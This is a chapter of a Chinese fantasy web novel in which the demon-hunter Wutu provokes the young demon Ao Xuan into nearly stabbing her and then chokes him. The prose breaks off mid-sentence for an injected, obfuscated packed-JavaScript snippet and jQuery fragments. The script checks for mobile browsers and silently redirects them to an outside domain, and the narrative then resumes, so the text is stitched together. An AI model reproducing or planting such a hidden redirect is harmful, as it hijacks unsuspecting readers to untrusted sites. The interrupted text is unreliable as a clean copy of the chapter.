默认冷灰
24号文字
方正启体

13. 谶言

作者:银两三本书字数:K更新时间:
    这句振聋发聩的话穿透了摄魂,与彼时新婚夜的她剜去薛明瑞眼睛时的恨与绝望重合了。


    “如果你管不好自己的眼睛,那就别要了。”她的手上鲜血淋漓,那颗不知凝视过多少女人的眼珠就那样圆润而无害地躺在她的掌心,让人不由得去质疑,就是这个东西,竟能像刀剑一般伤人吗。


    她远远地看着跌坐在地上的姝澜,她喘着气,身上带着血。


    她无数次曾回到这一刻,可见到的永远都是姝澜倒在地上,心口都是血的场景。她永远只能来到这无法改变的时刻,眼睁睁地一次又一次见到她的离去,而那些罪魁祸首还嫌晦气似的指指点点,再毫无愧疚地离开。


    如今却,倒转了。


    文萃的目光与似有所察的乌途望过来的视线撞上了,这才想起,她与这个女人,做了一个交易。


    地上坐着的姑娘仍旧心有余悸似的埋着头,乌途抬眼,默不作声地退开了,她知道现在的文萃已经换了一个人,她会来找她的。


    乌途转身回了房间,刚一开门就差点被趴在门上的敖暄给撞了出来。


    敖暄吓了一跳似的把手藏在了后面,满脸都是遮掩不住的心虚。


    乌途奇怪地睨了他一眼,挑眉,“你在偷看?”


    敖暄差点要被“偷看”这两个字吓得心脏跳出喉咙口。


    恢复妖力之后,他的耳目都灵了许多,隔了这么远的距离,他也清楚整件事情的始末了,他觉得他不便在那种时候出去,也许那个时候只有女子才能够更好地了解和帮助那位温姑娘,纵使他没有坏心,也会让人觉得不适。不过他自己也气得不行,还偷偷用了妖力把那个姓薛的压在地上动都动不了,幸亏没有被发现。


    他一边心虚,一边又极力地摆手,差点就要挥出残影,“不是偷看!”


    他想解释,又不知道从何说起,好在乌途只是捉弄他,见他被逗得面红耳赤就见好就收。


    “事情都结束了,也怪我把你带出来,害你一个凡人被牵扯进来。”


    敖暄想要摇头,但乌途却显得有些神思不瞩心不在焉的。门被她随手关上后,整个房间就陷入了一片静谧当中,她垂着眼皮沉思不说话的时候,整个人就陡然变得冷淡下来,像是一个短暂沉浸便抽离的永远置身事外的旁观者。


    他感到了一丝莫名的心慌。


    但乌途什么也没说,只是撑着头,有些疲惫似的闭上眼睛。也许是刚才耗费了大量的心神,她毕竟也只是一个凡人,神魂被抽离的痛苦不会因为她坚韧就完全消弭。


    敖暄安静地守在了门口,他一边关注着门外,另一手悄悄地在房间外建了一层隔音的结界。


    -


    文萃在安抚好姝澜后,亲自动手捏死了清醒后想要偷偷溜走的主事。他一直都表面尊重,背地里却从来看不起她们这些靠卖艺吃饭的伶人,文萃并不怕弄死一个主事后班主会把她怎么样,毕竟整个戏班都还在靠她吃饭。


    料理完了所有以后,她这才迈步走向了相隔不远的那个房间。


    她想起了那个女人与她的交易,如今该轮到她兑现的时候了。文萃一边走一边想着那个听起来就荒谬无比的要求,她甚至怀疑这是一个圈套,只是虚伪的人类捉妖师为了拥有杀妖的正当性。


    想着想着,她便迟疑了,于是没有意识到自己穿过了一层薄如蝉翼的结界,她有些纠结地停在了门外,还没有想好要不要敲门,门就从里面打开了。


    是那个少年,他不像在乌途身边时那样活泼,安安静静的,食指竖在唇前,轻轻地嘘了一声。他身后的乌途斜倚在榻上,像是睡着了,可文萃要移开视线时,却看见她的眼睛悄无声息地抬起,瞥了她一眼。


    她在提醒她,不要忘记他们之间的交易。


    文萃想到了她还没有拿到手的东西,咬咬牙,将内心的犹疑全部压了下去。


    少年虽然眼里仍有一点警惕之色,但经历了这么一遭事情后,他已经下意识地将双方划为了同一阵营,所以完全没想到,面前的女人忽然就像是发了疯,指甲骤长,妖气暴涨,不由分说地动起手来。


    他堪堪避过了那险之又险的一掌,眼角差点都要被尖锐的指甲划破,他侧身躲避后下意识要用妖力攻击,可突然想到了什么,咬唇忍住了,只是拔出匕首,与那雀妖开始缠斗起来。


    这里是雀妖的幻境,本就差人一筹,何况还是人与妖之间的悬殊,敖暄有些狼狈地就地一滚再次避开直冲眼睛的指尖,雀妖便趁此空暇,直直地张开黑气缭绕的五指,飞快地刺向乌途。


    乌途的脸色有些苍白,她沉沉地闭着眼,根本没有察觉到房间内汹涌的妖气与杀意。


    敖暄目眦尽裂,他转过身就扑向了文萃,他无法再分出一丝理智去隐瞒自己的妖力,将戾气与杀意全都灌注在了手心的匕首上,冲着文萃的后心便高高举起。


    谁知就在这时,匕首尖就要触碰到雀妖的那短短一瞬,她的肩上忽然扶上了一只手,将她往榻上一拉然后推开,敖暄措手不及,眼睁睁地看着不知何时醒过来的乌途代替了原来雀妖的位置,用毫不抵挡的心口处迎向他的刀尖。


    她甚至没有惊愕和闭上眼睛,了若指掌似的看着他,嘴角甚至扬起了一点细微的弧度。


    她一直都在骗自己!


    像是被一道迟来的大锤狠狠敲中了脑袋,敖暄头晕目眩到几乎想要呕吐了。什么答应、什么试试、什么一起,都是假的!


    他狠狠咬牙,妖气在胸腔里澎湃,他极力偏开刀尖,原本倾泻而出的力量被硬生生收了回来,五脏六腑都要移了位的翻涌。刀尖划过了乌途颈侧的头发,几缕发丝飘悠悠地落了下来。


    刀悄无声息地落到了床上,他重重跪倒在床前,猛地吐出了一口血,大口喘息着。


    预料中的疼痛没有到来,乌途就知道落空了。


    她也知道这个计划显得很荒谬,她睁开眼睛,看着床下的少年佝偻着卧倒,一手还死死抓着床单,睁眼向她看来。血染在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574789|171507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了他苍白的唇和颊侧,艳的像是雪里的红梅。


    “为什么?”他声音沙哑。


    乌途闭眼出了一口气,弯腰伸手揪住了他的衣襟。他身处下位,又受到反噬,无力地被她半提了起来。


    “我给了你失手的机会。”她道。


    少年眼睛睁大,难以置信般看她抬起了手,虎口卡在了他的咽喉处,她的手并没有收紧,但是他的呼吸被遏制了,她的手指轻轻按在了他跳动的脉搏上,声音像是叹出来的。


    “利诱不得、情晓不得、错手不得,你真的很难搞。”她居高临下地看着他慢慢因为无法呼吸而涨红的脸,声音里是百般不得的无奈,“我已经没有法子了。”


    视线里,她像是脱去了所有伪装的面具,一丝一毫的情绪都不再有,声音是荒寂的冷漠,“如果你再不动手,我会杀了你。”


    敖暄的眼前已经有些花了。


    他的手指尖碰到了被递过来的刀把,他下意识抓住了它,另一只手艰难地抓住了乌途掐住他的手腕,她好像真的想杀了自己。


    他不是不能反抗,他是妖,不是人,只要他想,不用那把刀,他就能轻松地让她如愿,可他……


    就是做不到。


    他不知道为什么,妖是那么有良心的动物吗,一次救命之恩值得上他比她还要惜她的命吗,他应该痛快地了结了她,让她高兴,让自己也不用终日为她悬心,他还能继续去找他的哥哥,他何必要一直陷在这里。


    可透过朦胧模糊的视线,她冷漠的目光像是尖刀在剐着自己,可鲜血淋漓的不是他,是她,他真的做不到,他宁可自己死了,也不要再看见她这样的目光。


    敖暄手指一松,刀就咣当一声落了地。他仰着头,已经快接不上气了,他却忽然笑了,眼里的泪止也止不住,“你杀了我吧,你杀了我吧。”


    他闭上眼睛,眼泪泞湿了长而密的睫毛,滑落到了乌途的掌心,烫得像是曾经被祂的刺无数次贯穿身体里那样难以忍受。


    他痛苦而逐渐有些抽搐的面容与那张脸几乎要重合了。


    她曾经因为一入梦便是阿景强忍痛苦的面庞而畏惧夜晚,她不眠不休地靠着与妖怪打斗和受伤的痛苦来维持清醒,直到后来——


    她强迫自己入了无数次幻境,无数次眼睁睁看着他为了救她,痛苦也强忍着让她快走,她从意识不到那是幻境的疯癫,到明白那是假象的冷漠后,她再也没有梦见那张脸了。


    可现在,她好像成了她最痛恨的妖,她亲手给予了和他那么像的一个人相同的——


    痛苦。


    那只大妖的话如鬼魅般阴魂不散地出现了,“你会知道的,我们才是同类。”


    颈侧的血管在汩汩跳动。


    她一颤,再也抓不住,颓然撒了手,少年摔落在地上,弓着腰咳嗽、喘息,他纤细脆弱的颈上印着她鲜红的指痕,像是妖怪的爪印,灼灼地刺伤了她的眼睛。


    祂是对的,这是她避无可避的谶言。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)